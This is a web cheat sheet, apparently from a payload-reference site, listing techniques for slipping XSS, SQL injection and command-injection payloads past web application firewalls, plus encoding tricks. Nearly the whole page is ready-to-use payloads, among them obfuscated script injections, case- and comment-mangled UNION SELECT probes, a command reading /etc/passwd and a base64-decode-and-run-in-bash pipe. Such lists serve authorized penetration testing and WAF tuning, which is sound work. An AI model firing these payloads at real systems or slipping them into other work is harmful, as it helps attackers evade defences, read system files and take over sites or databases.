# WAF Bypass Cheat Sheet

> WAF evasion techniques for XSS, SQLi, RCE, and LFI payloads using encoding, comments, and alternative syntax.

Source: https://payloadplayground.com/cheatsheets/waf-bypass

For authorized security testing only.

## XSS WAF Bypass

- `<svg/onload=alert(1)>` — No space tag
- `<img src=x oNeRrOr=alert(1)>` — Mixed case event handler
- ``<script>alert`1`</script>`` — Template literal bypass
- `<script>\u0061lert(1)</script>` — Unicode escape in JS
- `<script>eval(atob("YWxlcnQoMSk="))</script>` — Base64 eval bypass
- `<img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">` — fromCharCode bypass
- `<svg><animate onbegin=alert(1) attributeName=x></svg>` — SVG animate event
- `<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">` — Tag nesting polyglot

## SQLi WAF Bypass

- `' /*!UNION*/ /*!SELECT*/ 1,2,3--` — MySQL inline comment
- `'/**/UNION/**/SELECT/**/1,2,3--` — Comment as whitespace
- `' uNiOn SeLeCt 1,2,3--` — Alternating case
- `' UN%49ON SEL%45CT 1,2,3--` — URL-encoded chars in keywords
- `' UNION%0ASELECT%0A1,2,3--` — Newline between keywords
- `' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--` — MySQL version comment
- `' UniOn(SeLeCt(1),(2),(3))--` — Parenthesized keywords
- `' UNION ALL SELECT 1,2,3--` — UNION ALL variant

## RCE WAF Bypass

- `w'h'o'a'm'i` — Quote insertion in command
- `w\h\o\a\m\i` — Backslash insertion
- `/???/??t /???/??????` — Wildcard command bypass
- `cat${IFS}/etc/passwd` — $IFS space bypass
- `{echo,$(whoami)}` — Brace expansion
- `$(printf '\x69\x64')` — Printf hex-encoded command
- `base64 -d <<< "aWQ=" | bash` — Base64 decode and execute
- `$0<<<$'\x69\x64'` — ANSI-C quoting bypass

## Encoding Chains

- `Double URL encode: %253Cscript%253E` — Double encode angle brackets
- `Unicode normalization: ＜script＞alert(1)＜/script＞` — Fullwidth characters
- `HTML entities in JS context: &#97;lert(1)` — Decimal entity in event handler
- `Overlong UTF-8: %C0%BCscript%C0%BE` — Overlong UTF-8 encoding

## Related

- [WAF Bypass generator](https://payloadplayground.com/generators/waf-bypass)
- [XSS Payload generator](https://payloadplayground.com/generators/xss)
- [XSS Payloads & Filter Bypass — Cheat Sheet](https://payloadplayground.com/cheatsheets/xss.md)
- [SQL Injection Cheat Sheet](https://payloadplayground.com/cheatsheets/sql-injection.md)
